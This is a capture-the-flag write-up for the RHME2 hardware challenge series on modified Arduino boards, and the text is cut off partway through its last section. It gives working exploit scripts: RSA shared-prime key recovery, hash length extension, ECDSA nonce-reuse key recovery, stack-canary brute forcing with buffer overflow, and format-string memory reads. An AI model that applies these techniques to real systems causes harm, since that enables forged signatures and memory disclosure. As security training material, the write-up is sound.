RHME2 Writeup
Published on 01 March 2017
RHME2 is a hardware CTF organized by Riscure. A qualifying challenge was available online and once qualified, you received a modified Arduino nano board that could be flashed with different challenges.
Contents
Hardware
The board
The board is a customized Arduino Nano with a custom bootloader that loads encrypted challenge files and generates unique flags per device in order to avoid cheating.
Challenges
Lots of challenges were provided, each with a short description and one or more files to download. The .hex file should be flashed to the board using the following command :
avrdude -c arduino -p atmega328p -P /dev/ttyUSB* -b115200 -u -V -U flash:w:filename.hex
Connecting to the challenge
Once a challenge is flashed on the device, the board is shown as a serial interface on the host. First part is to discover which baud rate should be used to communicate with the board. I tried all standard baud rates until I found the correct one : 19200 bauds. A second problem is that the standard console tools do send a LF when pressing the Enter key, but most of the challenges require a CR. I decided to use Python scripts so communicate with the challenges from now on.
Hardware tools
During this CTF, I used several other devices depending on the challenge :
Logic analyzer
I used a Saleae logic16 to analyze signals for several challenges
ChipWhisperer Lite
For clock glitching and Side-Channel Analysis, the ChipWhisperer is a great tool. It was the first time for me to play with this device.
Teensy
The Teensy 3.0 has been used to automatize several tasks and to be used as a trigger for the ChipWhisperer.
Solutions
Crypto
Key Server
Connecting to the challenge shows the following information :
Ebian Corp has a repository to store its adminstrators' public keys.
1)If you are a customer you can list all the public keys.
2)If you are an admin you can update your keys.
Just sign the plaintext "admin" and more options will be provided.
The parameters to be used for the signature are SHA1 and PKCS1_v1_5
Public Key List:
Alice:
00c90e4c65c0a96080df5aaf73caaf1146afb364cb37894f6bb745182191bf577a2777d8b5dbf57b2ad9f902e2
d3abadfe6ebeb7366d7b11f0cbfd4371dbadf5f548e60644b3365a654b8efe2de32bbb1cc0288d367c0e8cf9ac
8a2544cb067f677c87e82362e3b3ce950d072c5b1baffd650a31db4ff7d7209f0aec0178d7ba8b
Bob:
00db87e4a4774c4c4606faadeb58460d6c62282aced115ae9d256d6ca2d32b49615c9257869aa0b1757b8faaae
401f94474ddbf5f54b75dfaa7bef370cc9842a920ff9484cabacece44e7c2c80c2c97775a39d035c59475db933
74cbac0d0e4f0830bcc51fe4680ef1d8afce89d61ef7a1fe8f03dd26a7049303f1cbfa94b10323
Carl:
00a8e4fe8ddca1a4b8c97376d90e43e78f9df822412215511fa3efc3f96b34c6bdc2090dbbfce2e118ff8168c6
ba1ed965f743238467310c97d22918c4549d9c426641469a57ed75557367ad37d3c73485a5d748bbcea211897f
72f60e7fbd6bb220e6e56e466dcc3144abb78388865ee5c9bba879ea96c0a2522bdb63383f3591
David:
00b7a2434673e546ff4d7975166a5228e19aa5b43ab79e147f27695aeeeb197bb3152ef1df0b8190a7304b4db4
9cffdf6f0cdd168f47594d2fd0672787716ae519bf78df1cb96c0968785e7f0ec7de1008644b3cc32c74748f0d
0967cdc76b7bba0cb78a15858bcc40063e53c34bb47cf63ba2eb8af3d491131f2aa96388802677
Edward:
00b7882ac1f039ce5c9cef7a66800d2247c465cd5bcbaa80cc48ba34ec2759280a666432f78f53d222a308ea2d
c7d455be7d050faeca3fd9847fb43dbaf2a09013778e238b7a79430271c105cb959f3ff4d0e72a756ecc948bc2
7e1b1dc7dafb3fae6e31c2571c89f06ac854cac98d10e106ec89abd4d093f28e13db54ea8798b3
Fleur:
00cec274724b04bda96d51162abf710fbf1eedb978aa87639e61a166b772cf4bdfc8fdddb3b700b366d68767a5
d33cce4e6146fe325de5d9d0dc480dbd4201c3859d1debbf952a1e3a10c0cfeb6413f740748c7a43a346d895c1
2bf7b14068df33be376b12527b1c7fb390f95d0f878ebb8a38c621eb415a85bf42b9cbcaccc749
Gary:
00bdb08ad1d97628b0d4e9bdcdb0303007e66b9d82b3ca3e7df476911f1d0ffd81f67487b4fafc4e252b30c501
055335ab74f1e92e411615b5263d5117daf715740f826a6f8faba2620ddda2852a3595aa9f051d3e0b46766440
360f986cc2db7b7f2d9431e9324280109ac1ed43900a57531ee2878e895c6f5b4ba4311051413d
A common vulnerability with public key cryptography is that different public key could have been generated with the same primes. We can find a common divisor between Bob and Gary :
0xf3432ec95a2d8ec3e2dc6c52c1eb97d03601d6a0c1e89848fe54f55b31a9fc35de1ce9210ff84fd79be293924de45320c86e5dc9d970b68079737a1bb2e34935
Great ! Now we can recreate the public and private keys of both :
from fractions import gcd
import hashlib
import rsa
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA
import binascii
# source: https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y
bob_n = 0x00db87e4a4774c4c4606faadeb58460d6c62282aced115ae9d256d6ca2d32b49615c9257869aa0b1757b8faaae401f94474ddbf5f54b75dfaa7bef370cc9842a920ff9484cabacece44e7c2c80c2c97775a39d035c59475db93374cbac0d0e4f0830bcc51fe4680ef1d8afce89d61ef7a1fe8f03dd26a7049303f1cbfa94b10323
gary_n = 0x00bdb08ad1d97628b0d4e9bdcdb0303007e66b9d82b3ca3e7df476911f1d0ffd81f67487b4fafc4e252b30c501055335ab74f1e92e411615b5263d5117daf715740f826a6f8faba2620ddda2852a3595aa9f051d3e0b46766440360f986cc2db7b7f2d9431e9324280109ac1ed43900a57531ee2878e895c6f5b4ba4311051413d
e= 65537L
## start calculation
p= gcd(gary_n, bob_n)
print "P : ",
print p
##
## Gary
##
q_a = gary_n/p
print "Qa : ",
print q_a
phi_a = (p-1)*(q_a-1)
gcd, x, y = egcd(e, phi_a)
assert gcd == 1 # should be 1 = they have to be coprime
d_a = x % phi_a
print "Da : ",
print d_a
private_key_a = RSA.construct((gary_n, e, d_a))
f = open('gary_pkey.pem','w')
f.write(private_key_a.exportKey('PEM'))
f.close()
admin = SHA.new("admin")
signature = PKCS1_v1_5.new(private_key_a)
print "Signature 1 : ",
print binascii.hexlify(signature.sign(admin))
##
## BOB
##
q_b = bob_n/p
print "Qb : ",
print q_b
phi_b = (p-1)*(q_b-1)
gcd, x, y = egcd(e, phi_b)
assert gcd == 1 # should be 1 = they have to be coprime
d_b = x % phi_b
print "Db : ",
print d_b
private_key_b = RSA.construct((bob_n, e, d_b))
f = open('bob_pkey.pem','w')
f.write(private_key_b.exportKey('PEM'))
f.close()
admin = SHA.new("admin")
signature = PKCS1_v1_5.new(private_key_b)
print "Signature 2 : ",
print binascii.hexlify(signature.sign(admin))
Now we can try to send both signatures to find the key :
import serial
payload = (b"80103b7fc74600b844bb73667c2c8f23afa717e25e549756819a53bd875a79ecc80dbd9e415df4d4356fb623da62a6388d0d1bf277dbaa6021c5e5fd51a2ba088bfdee2cea800e50155aea1ad7a1018ec7621e2dac9d16ca6c1910ee3f0382e0a0eca1124d6b357a8d669cba6c0d24f384a5fc2890db54341c383289e32c727f")
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until(b"v1_5\r\n")
ser.write(b"2\r")
print(ser.read_until(b"Enter the signature \r\n"))
ser.write(payload)
ser.write(b'\r\n')
print(ser.read_until(b"\n"))
ser.close()
Secure filesystem
In this challenge, we must get the contents of a file stored on the device. To do so, we must provide an access token and the file name. Some tokens were provided as an example :
96103df3b928d9edc5a103d690639c94628824f5 | cat.txt
933d86ae930c9a5d6d3a334297d9e72852f05c57 | cat.txt:finances.csv
83f86c0ba1d2d5d60d055064256cd95a5ae6bb7d | cat.txt:finances.csv:joke.txt
ba2e8af09b57080549180a32ac1ff1dde4d30b14 | cat.txt:joke.txt
0b939251f4c781f43efef804ee8faec0212f1144 | finances.csv
4b0972ec7282ad9e991414d1845ceee546eac7a1 | finances.csv:joke.txt
715b21027dca61235e2663e59a9bdfb387ca7997 | joke.txt
For instance, sending 933d86ae930c9a5d6d3a334297d9e72852f05c57#cat.txt:finances.csv will show the contents of both cat.txt and finances.csv.
As the length of the access token never changes, we can try a hash length extension attack using hash extender. Since we don't know the secret length, nor the hashing algorithm, we generate multiple candidates :
> ./hash_extender --data cat.txt --secret-min=1 --secret-max=16 --append :passwd --signature 96103df3b928d9edc5a103d690639c94628824f5 --format sha1 -format ripemd160 --out-data-format=hex
Type: sha1
Secret length: 1
New signature: fac1d7b8276cf5c2907dcfa92d5f48607fde0db8
New string: 6361742e74787480000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000403a706173737764
[...]
Feeding all of them to the challenge finally displays the flag.
Secure filesystem 1.92r1
It took me a while to discover which signing algorithm was used, but the name says it all : secp192r1. So that means this version of the challenge uses ECDSA with that particular curve.
There is a known implementation flaw in ECDSA (exploited in the PS3 hack) that can be used to retrieve the private key if k is the same in different messages. The following script implements this attack, recovers the private key and gets the flag from the device :
import serial
import hashlib
import itertools
import ecdsa
msgs = [("897703036b2e18116b36353d92ac3dd978845fc99a735b8a","dfd0f4a25b7d529e89ac030c2b681e93831e95a8186823b9","cat.txt"),
("897703036b2e18116b36353d92ac3dd978845fc99a735b8a","f2bca35d472116dc6d5bebe96f1a3af249be78c63219a0dc","cat.txt:finances.csv"),
("897703036b2e18116b36353d92ac3dd978845fc99a735b8a","7eed666977d3861dbaefd16b2ed7dc5b639e51853ca6e7b3","cat.txt:finances.csv:joke.txt"),
("897703036b2e18116b36353d92ac3dd978845fc99a735b8a","51d915246394ce976f8768cf3300087cb5b9958bbec30f9c","cat.txt:joke.txt"),
("897703036b2e18116b36353d92ac3dd978845fc99a735b8a","ae2a5a38b4d03f0103bce59874e41a0df19cb39b328b02fa","finances.csv"),
("897703036b2e18116b36353d92ac3dd978845fc99a735b8a","c66b5e48f5e600982724eca3804fb59b7b0f395a6e17e1ce","finances.csv:joke.txt"),
("897703036b2e18116b36353d92ac3dd978845fc99a735b8a","3a3a9b3cc5239fdf4572157296903a0237a4aaeeaa8f3d15","joke.txt")]
p = ecdsa.NIST192p.order
def calc(msg1, msg2):
r1 = long(msgs[msg1][0],16)
s1 = long(msgs[msg1][1],16)
r2 = long(msgs[msg2][0],16)
s2 = long(msgs[msg2][1],16)
z1 = long(hashlib.sha1(msgs[msg1][2]).hexdigest(),16)
z2 = long(hashlib.sha1(msgs[msg2][2]).hexdigest(),16)
r = r1
z = z1-z2
for s in [s1-s2, s1+s2, -s1-s2, -s1+s2]:
r_inv = ecdsa.numbertheory.inverse_mod(r,p)
s_inv = ecdsa.numbertheory.inverse_mod(s,p)
k = (z * s_inv) % p
d = (r_inv * (s1 * k - z1)) % p
key = ecdsa.SigningKey.from_secret_exponent(d, ecdsa.NIST192p, hashlib.sha1)
ns = key.sign(msgs[msg1][2], k=k).encode('hex')
if msgs[msg1][0]+msgs[msg1][1] != ns:
print "nope"
continue
key = ecdsa.SigningKey.from_secret_exponent(d, ecdsa.NIST192p, hashlib.sha1)
ns = key.sign(msgs[msg2][2], k=k).encode('hex')
if msgs[msg2][0]+msgs[msg2][1] != ns:
print "nope"
continue
return (d,k)
CANDIDATES = ["897703036b2e18116b36353d92ac3dd978845fc99a735b8a3a3a9b3cc5239fdf4572157296903a0237a4aaeeaa8f3d15#joke.txt"]
for i in itertools.permutations(range(len(msgs)), 2):
msg="passwd"
d,k = calc(i[0], i[1])
key = ecdsa.SigningKey.from_secret_exponent(d, ecdsa.NIST192p, hashlib.sha1)
ns = key.sign(msg, k=k).encode('hex')+"#"+msg
if ns not in CANDIDATES:
print ns
CANDIDATES.append(ns)
for c in CANDIDATES:
ser = serial.Serial('/dev/ttyUSB0', 19200)
print ser.read_until(">")
print ser.read_until(">")
ser.write(c)
ser.write("\r\n")
print ser.read_until(">")
ser.close()
This gives the following string, that allows us to retrieve the flag :
897703036b2e18116b36353d92ac3dd978845fc99a735b8a14c4c3df4f358d1c55bbd35f30543f80ea6b7f3cdb27eac0#passwd
Reversing
Impostor
On this challenge, we were given the .hex file and an ELF, which is the same binary, but in a reversable way. Disassembling the code shows an awful function, that looks like a giant state machine. I tried several times to reverse it, but with no success. Tracing the execution with Simavr didn't help either. It looks like it loads data from the beginning of the code region, but I wasn't able to reverse it correctly.
I only found the following interesting function at address 0x1300 that checks whether a value is 0x14 or 0x1e.
[...]
┌────────────────────┐
│ 0x1394 ;[l] │
│ ldd r24, y+1 │
│ cpi r24, 0x14 │
│ brne 0x13c2 ;[n] │
└────────────────────┘
f t
┌───────────────────────────────────────┘ └───────────────────┐
│ │
┌──────────────────────────────────────────────────────────────┐ │
│ 0x139a ;[p] │ │
│ ldi r24, 0x74 │ │
│ ldi r25, 0x05 │ │
│ mov r24, r25 │ │
│ push r24 │ │
│ ; 0x574 points to the string "The password is incorrect" │ │
│ ldi r24, 0x74 │ │
│ ldi r25, 0x05 │ │
│ push r24 │ │
│ ldi r24, 0x00 │ │
│ ldi r25, 0x01 │ │
│ mov r24, r25 │ │
│ push r24 │ │
│ ldi r24, 0x00 │ │
│ ldi r25, 0x01 │ │
│ push r24 │ │
│ call print_str ;[o] │ │
│ pop r0 │ │
│ pop r0 │ │
│ pop r0 │ │
│ pop r0 │ │
└──────────────────────────────────────────────────────────────┘ │
v │
└───────────────────────────────────────┐ ┌───────────────────┘
│ │
┌────────────────────┐
│ 0x13c2 ;[n] │
│ ldd r24, y+1 │
│ cpi r24, 0x1e │
│ brne 0x1404 ;[q] │
└────────────────────┘
f t
┌────────────────────────┘ └──────────────┐
│ │
┌───────────────────────────────────────────┐ │
│ 0x13c8 ;[t] │ │
│ ; 0x5ad points to the string "FLAG:" │ │
│ ldi r24, 0xad │ │
│ ldi r25, 0x05 │ │
│ mov r18, r25 │ │
[...]
In despair, I tried to run binwalk on the ELF, and the output was kind of unexpected :
> binwalk -Y The_Imposter.elf
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ARM executable code, 16-bit (Thumb), little endian, at least 831 valid instructions
ARM ? let's try to reload the file in ARM mode and disassemble it.
> r2 -a arm -b 16 The_Imposter.elf
Digging into the generated code from the beginning of the file shows this (big)function :
<@@@@@@>
v
│
│
.──────────.
│ [_x18a_]
│ t f
│ ┌────┘ └────────┐
│ │ │
│ │ │
│ [_x160_] [_x194_]
└─────┘ v
└─────┐
│
.──────────.
│ [_x1c8_]
│ t f
│ ┌────┘ └────────┐
│ │ │
│ │ │
│ [_x19e_] [_x1d2_]
└─────┘ v
[...]
│ │
│ │
[_x55a_]
f t
┌──────┘ └──┐
│ │
│ │
[_x564_] [_x568_]
v v
└──────┌──────┘
│
│
[_x56a_]
The last part is interesting :
┌────────────────────┐
│ 0x55a ;[s] │
│ movs r3, 0x81 │
│ adds r3, r7, r3 │
│ ldrb r3, [r3] │
│ cmp r3, 1 │
│ bne 0x568 ;[u] │
└────────────────────┘
f t
┌─────────────┘ └─────────┐
│ │
│ │
┌────────────────────┐ ┌────────────────────┐
│ 0x564 ;[w] │ │ 0x568 ;[u] │
│ bkpt 0x1e │ │ bkpt 0x14 │
│ b 0x56a ;[v] │ └────────────────────┘
└────────────────────┘ v
v │
└─────────────┌─────────────┘
│
│
┌────────────────────┐
│ 0x56a ;[v] │
│ mov sp, r7 │
│ add sp, 0x90 │
│ | ;-- pc: │
│ | ;-- r15: │
│ pop {r7, pc} │
└────────────────────┘
It uses either a break with 0x1e or 0x14, just like the flag display function! We are on the right track.
Reversing the function shows that it is using a known algorithm : XTEA. The Wikipedia page even offers a decipher code, let's reuse it :
#include "stdio.h"
#include "stdint.h"
void decipher(unsigned int num_rounds, uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], i;
uint32_t delta=0xab64e218, sum=delta*num_rounds;
for(i=0; i<num_rounds; i++) {
v1 -= ((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k[sum>>11 & 3]);
sum -= delta;
v0 -= ((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k[sum & 3]);
}
v[0]=v0; v[1]=v1;
printf("%.4s %.4s\r\n", &v0, &v1);
}
void main()
{
uint32_t m1[] = {0xFC791D6B, 0x924E6C8F};
uint32_t m2[] = {0x795F34A2, 0xEDAE901};
uint32_t key[] = {0x373D3943, 0x49A1C621, 0x80C6B0, 0x3C93C7B};
decipher(32, m1, key);
decipher(32, m2, key);
}
Let's try it :
> gcc sploit.c
> ./a.out
4rM_ c0rT
3xM0 _4vR
Putting it in the correct order gives 4rM_c0rT3xM0_4vR, and the flag.
Jumpy
On this challenge again, an ELF, file was provided to be reversed. When loading the file, there seem to be no interesting function. However, inspecting the function at 0x7d8 shows that is stores lots of values in the stack, then returns. Subsequently, all values stored on the stack are loaded as functions, pretty much like a ROP chain :
┌─────────────────────────┐
│ [0x7d8] ;[f] │
│ ;-- fcn.000007d8: │
│ (fcn) main 788 │
│ main (); │
│ push r28 │
│ push r29 │
│ rcall 0x7de ;[a] │
│ rcall 0x7e0 ;[b] │
│ in r28, 0x3d │
│ in r29, 0x3e │
[...]
│ ldi r18, 0xdc │ <= Loads 0x3dc in r18-r19
│ ldi r19, 0x03 │
│ eor r19, r18 │
│ eor r18, r19 │
│ eor r19, r18 │
│ lsl r24 │
│ rol r25 │
│ subi r24, 0xbe │
│ sbci r25, 0xfe │
│ movw r30, r24 │
│ std z+1, r19 │ <= Stores that value in Z
│ std z+0, r18 │
Analyzing the code on all these functions shows arithmetic calculations and comparisons like this one :
┌───────────────────────┐
│ [0x598] ;[b] │
│ (fcn) fcn.00000598 68 │
│ fcn.00000598 (); │
│ push r28 │
│ push r29 │
│ in r28, 0x3d │
│ in r29, 0x3e │
│ lds r24, 0x12f │ <= input[1] is stored here
│ mov r18, r24 │
│ ldi r19, 0x00 │
│ lds r24, 0x130 │ <= input[2] is stored here
│ mov r24, r24 │
│ ldi r25, 0x00 │
│ add r24, r18 │
│ adc r25, r19 │
│ cpi r24, 0xa7 │
│ cpc r25, r1 │
│ brne 0x5ce ;[a] │
└───────────────────────┘
f t
┌────────────┘ └──────────┐
│ │
┌────────────────────┐ ┌────────────────────┐
│ 0x5ba ;[d] │ │ 0x5ce ;[a] │
│ lds r24, 0x13e │ │ sts 0x13f, r1 │
│ lds r25, 0x13f │ │ sts 0x13e, r1 │
│ ori r24, 0x04 │ └────────────────────┘
│ sts 0x13f, r25 │ v
│ sts 0x13e, r24 │ │
│ rjmp 0x5d6 ;[c] │ │
└────────────────────┘──────────┘
v │
└─────────────│
│
┌────────────────────┐
│ 0x5d6 ;[c] │
│ pop r29 │
│ pop r28 │
│ ret │
└────────────────────┘
Reversing all these functions allows us to get the following constraints :
i[1] + i[2] = 0xa7
i[0] * i[1] = 0x13b7
i[2] * i[3] = 0x1782
i[3] + i[4] = 0x92
i[4] * i[5] = 0x122f
i[5] + i[6] = 0xa5
i[6] * i[7] = 0x2b0c
i[7] + i[8] = 0xd3
i[8] * i[9] = 0x15c0
i[9] + i[10] = 0x8f
i[10] * i[11] = 0x2873
i[11] + i[12] = 0xa0
i[12] * 0x0d = 0x297
Solving these equations show the correct serial g1v3_1t_t0_m3 and the flag.
FridgeJIT
The challenge description shows that this is a custom VM with its own opcodes. reversing the binary is quite straightforward, and allows to retrieve the VM operations. To simplify the subsequent reversing, I created a Radare2 disassembler with the help of the Radare2 Wiki :
#include <r_asm.h>
#include <r_lib.h>
#define OPS 31
static const char *ops[OPS*2] = {
"nop", NULL,
"push", "r",
"pop", "r",
"mov", "rr",
"movl", "ri",
"movh", "ri",
"mov", "rp",
"mov", "pr",
"add", "rr",
"sub", "rr",
"xor", "rr",
"and", "rr",
"or", "rr",
"not", "r",
"shl", "rr",
"shr", "rr",
"rol", "rr",
"ror", "rr",
"call", "r",
"ret", NULL,
"jmp", "i",
"jmp", "r",
"cmp", "rr",
"jz", "i",
"jnz", "i",
"jz", "r",
"jnz", "r",
"read", "r",
"write", "r",
"clr Z", NULL,
"clr C", NULL
};
//b for byte, l for length
static int disassemble (RAsm *a, RAsmOp *op, const ut8 *b, int l) {
char arg[32];
char * pos;
int idx = (b[0])*2;
op->size = 1;
if (idx>=(OPS*2)) {
strcpy (op->buf_asm, "invalid");
op->size = 1;
return -1;
}
strcpy (op->buf_asm, ops[idx]);
if (ops[idx+1]) {
const char *p = ops[idx+1];
arg[0] = 0;
if (!strcmp (p, "rr")) {
sprintf (arg, "r%d, r%d", b[1]>>4, b[1]&0xf);
op->size = 2;
} else
if (!strcmp (p, "rp")) {
sprintf (arg, "r%d, [r%d]", b[1]>>4, b[1]&0xf);
op->size = 2;
} else
if (!strcmp (p, "pr")) {
sprintf (arg, "[r%d], r%d", b[1]>>4, b[1]&0xf);
op->size = 2;
} else
if (!strcmp (p, "i")) {
sprintf (arg, "%04x", (((b[1]<<8)+b[2])<<2));
op->size = 3;
} else
if (!strcmp (p, "r")) {
sprintf (arg, "r%d", b[1]>>4);
op->size = 2;
} else
if (!strcmp (p, "ri")) {
sprintf (arg, "r%d, %04x", b[1]>>4, ((b[2]<<8)+b[3]));
op->size = 4;
}
pos = strstr(arg, "r6");
if(pos != NULL) {
pos[0] = 'S';
pos[1] = 'P';
}
pos = strstr(arg, "r7");
if(pos != NULL) {
pos[0] = 'I';
pos[1] = 'P';
}
if (*arg) {
strcat (op->buf_asm, " ");
strcat (op->buf_asm, arg);
}
}
return op->size;
}
RAsmPlugin r_asm_plugin_rhme2 = {
.name = "rhme2",
.arch = "rhme2",
.license = "LGPL3",
.bits = 32,
.desc = "RHME2 VM disassembler",
.disassemble = &disassemble,
};
#ifndef CORELIB
struct r_lib_struct_t radare_plugin = {
.type = R_LIB_TYPE_ASM,
.data = &r_asm_plugin_rhme2
};
#endif
From the VM disassembly at address 0x2222, we can see where the VM code is loaded in memory :
0x00002222 88eb ldi r24, 0xb8
0x00002224 92e0 ldi r25, 0x02
0x00002226 0e94d605 call get_hex
We can now copy the VM code from the provided memory dump in a separate file, and open it in Radare2 :
> dd if=memory.dmp bs=1 skip=696 count=672 of=vm.dmp
> r2 -a rhme2 vm.dmp
[0x00000000]> pd
0x00000000 05002500 movh r0, 2500
0x00000004 0400203a movl r0, 203a
0x00000008 0100 push r0
0x0000000a 05006472 movh r0, 6472
0x0000000e 04006f77 movl r0, 6f77
0x00000012 0100 push r0
0x00000014 05007373 movh r0, 7373
0x00000018 04006150 movl r0, 6150
0x0000001c 0100 push r0
0x0000001e 04500088 movl r5, 0088
0x00000022 1250 call r5
[...]
We just have to follow the execution of the routine checks to get the password. For instance, the first part is at address 0x192
0x00000192 0640 mov r4, [r0]
0x00000194 0d20 not r2
0x00000196 1042 rol r4, r2
0x00000198 05103d67 movh r1, 3d67
0x0000019c 041082a5 movl r1, 82a5
0x000001a0 0a41 xor r4, r1
0x000001a2 05105dd5 movh r1, 5dd5
0x000001a6 04103c4f movl r1, 3c4f
0x000001aa 1614 cmp r1, r4
0x000001ac 13 ret
And the correct input can be calculated in Python :
>>> hex((0x5dd53c4f^0x3d6782a5)>>1)[2:].decode('hex')
'0Y_u'
Which should be inverted, the fist part of the serial is Y0u_
Reversing the rest of the code gives the serial Y0u_G0T_1t_r1ght!, which is the flag.
Exploitation
Photo manager
This challenge shows a simple menu that allows us to know the memory layout and enter a string :
[1] Login
[2] Memory management
Total memory space: 4096 bytes
Memory space used: 3946 bytes
[1] Login
[2] Memory management
Please authenticate yourself with your hardware token
Please insert token. (8 characters)
Token can only contain the characters [A-Z/a-z/0-9]
Welcome aaaaaaaa
If we try to insert too many characters in the login, a message Stack cookie corrupted. is shown. So we need to first know the canary value in order to overwrite interesting values.
Fortunately, the canary values are always the same at a specific memory location, so it is possible to construct a table containing the memory address and the corresponding canary value.
After gaining enough samples, it was possible to determine that the byte next to the canary controls the length of the string that is printed with the welcome message. Forcing it to 0xff displays the flag.
The following script can be used to retrieve the flag :
import serial
import time
import numpy
import json
import os
try:
open('canaries')
DIC = json.loads(open('canaries').read())
except IOError:
DIC = {}
except ValueError:
DIC = {}
def sploit():
print "Using canary value of ",
print hex(DIC[used])
ser.write("\r")
ser.read_until("Memory management\r\n")
ser.write("\r")
ser.read_until("Memory management\r\n")
ser.write("1\r")
ser.read_until("\r\n\r\n")
ser.write("A"*(4096-int(used)-8))
ser.write(chr(DIC[used]))
ser.write("\xff")
ser.write("\r")
print ser.read_until("Memory management\r\n")
while True:
print ser.read(),
while True :
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until("Memory management\r\n")
ser.write("2\r")
ser.read_until("Memory space used: ")
used = ser.read(4)
ser.timeout=1
if used in DIC.keys():
sploit()
ser.close()
continue
#print "Used bytes : " + str(used)
#print "Buffer length : " + str(4096-used)
for c in xrange(256):
if c in [0x0a, 0x0d]:
continue
ser.read_until("Memory management\r\n")
ser.write("\r")
ser.read_until("Memory management\r\n")
ser.write("1\r")
ser.read_until("\r\n\r\n")
ser.write("A"*(4096-int(used)-8))
ser.write(chr(c))
buff = ser.read_until("\r\n")
if "Stack" in buff:
continue
else:
DIC.update({used:c})
os.unlink('canaries')
out = open('canaries','w')
out.write(json.dumps(DIC))
out.close()
print "Canary value for offset " +used,
print hex(c)
print "Current dic length : ",
print len(DIC)
break
ser.close()
Animals
The challenge allows the user to view ASCII animals. Since it's an exploitation challenge and it is the only user input in the interface, we can try to add lots of data in the animal name.
We can then bruteforce all possible values until we find something interesting. We can see what could be a function pointer to the print function at address 0x152, overwriting 9 other bytes allows us to set the memory pointer used for this print function. From there, we can dump the whole RAM and look for interesting values.
At address 0x36b, the hexdump shows a suspicious pattern :
9B 91 9C 9A E7 FD FD FD FD FD FD FD FD FD FD FD ................
E5 EF B8 BC B9 ED ED B8 E5 BC E9 EF E8 E5 EA EE ................
B9 EE EB EA EC BB E8 BB BC EA B8 E9 E5 E5 B9 B8 ................
FD FD FD FD FD FD F2 FD FD FD FD FD FD FD FD FD ................
FD FD FD FD FD F2 FD FD FD FD FD FD FD FD FD FD ................
FD FD 82 82 82 81 82 82 82 82 82 82 FD FD FD FD ................
FD F2 FD 82 82 82 FD FD 82 82 82 FD 81 FD FD FD ................
F2 FD F2 FD 9D FD 81 F2 FD 9D FD 81 FD 81 FD FD ................
81 FD 81 82 82 82 F2 81 82 82 82 F2 FD F2 81 FD ................
FD 81 82 82 82 82 81 F2 82 82 82 82 F2 A1 A1 FD ................
FD F2 FD FD FD FD FD F2 81 81 81 81 81 F2 F2 FD ................
FD A1 FD FD FD FD FD A1 81 81 81 81 81 81 FD FD ................
FD FD 81 FD FD FD FD FD FD 81 81 81 81 81 81 FD ................
FD FD FD 81 82 82 82 82 82 82 F2 81 81 81 81 FD ................
FD FD FD FD 82 A1 A1 82 A1 A1 82 FD FD FD FD FD ................
FD FD FD FD FD F0 F0 FD F0 F0 FD FD FD FD FD FD ................
As the images use a lot of spaces (0x20), we can XOR this dump with 0xfd^0x20 = 0xdd, which gives this image :
FLAG:
82ead00e8a425873
d3671f5fa7e488de
/
/
___\______
/ ___ ___ \
/ / @ \/ @ \ \
\ \___/\___/ /\
\____\/____/||
/ /\\\\\//
| |\\\\\\
\ \\\\\\
\______/\\\\
_||_||_
-- --
Here is the script that shows the flag directly :
import serial
import struct
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.rts=0
ser.read_until(">")
ser.write("dog")
ser.write("\x41"*7)
ser.write("\x00") # nb of bytes to print for name
ser.write("\x41"*9) # padding
ser.write(struct.pack('h', 0x152)) # pointer to the print function ?
ser.write(struct.pack('h', 0x36b)) # pointer to the string to print
ser.write("\r\n\r\n")
ser.read_until(">")
ser.read_until('\r\n\r\n')
dmp = (ser.read_until("\r\n\r\n"))
li = dmp.split('\r\n')
for l in li:
print ''.join([chr(ord(c)^0xdd) for c in l])
ser.close()
Casino
The purpose of this challenge is to play in a Casino. If we play a lot, we receive a coupon from the staff that allows us to choose any drink we want instead of choosing our drink from a menu :
You have 1 coupons left
What would you like to drink? <== Enter "b33r"
b33r
Since out input is displayed in the next line, let's try to see if it's vulnerable to format string attack :
What would you like to drink? <== Enter "%x%x"
78257825
What would you like to drink? <== Enter "AA%x"
AA4141
As we can see, it's vulnerable and our input is on the top of the stack, so we can try to read the memory sequentially until we get the flag. Here is a Python script that plays the game and tries every possible address until it finds the flag :
import serial
import time
import struct
import hexdump
coupons = 0
for o in xrange(0xffff):
ser = serial.Serial('/dev/ttyUSB0', 19200, timeout=10)
print "Trying ",
print o
while coupons == 0:
ser.read_until("Current balance: ")
balance = int(ser.read_until('\r\n').strip())
ser.read_until("Amount of coupons left: ")
coupons = int(ser.read_until('\r\n').strip())
if balance == 0:
ser.write("5\r")
ser.read_until("[Yes/No]\r\n")
ser.write("Yes\r")
continue
ser.write("1\r")
ser.read_until("wheel\r\n")
ser.write("S\r")
ser.read_until("wheel\r\n")
ser.write("\r")
ser.read_until("Current balance: ")
balance = int(ser.read_until('\r\n').strip())
ser.read_until("Amount of coupons left: ")
coupons = int(ser.read_until('\r\n').strip())
if coupons > 0:
ser.write("3\r")
ser.read_until("to drink?\r\n")
ser.write(struct.pack('h',o))
ser.write("%s\r")
tmp = balance
hexdump.hexdump(ser.read_until("\r\n\r\n"))
ser.read_until("Current balance: ")
balance = int(ser.read_until('\r\n').strip())
ser.read_until("Amount of coupons left: ")
coupons = int(ser.read_until('\r\n').strip())
if(tmp != balance):
print "Offset : " + str(o),
print "was : " + str(tmp),
print "is now : " + str(balance)
ser.close()
Finally, the flag is shown at address 0x117.
Weird Machine
We'll dig again in the VM used by FridgeJIT. Now it's time to exploit this piece of software.
By looking at the VM disassembly, the call instruction of the VM is vulnerable to a buffer "underflow" :
┌──────────────────────────────────────────────────────────────────┐
│ [0x1bb8] ;[b] │
│ (fcn) vm_instr_call 178 │
│ vm_instr_call (); │
│ ; CALL XREF from 0x00001bb8 (vm_instr_call) │
│ push r11 │
│ push r12 │
│ push r13 │
│ push r14 │
│ push r15 │
│ push r16 │
│ push r17 │
│ push r28 │
│ push r29 │
│ movw r28, r24 │
│ ldd r12, y+28 │
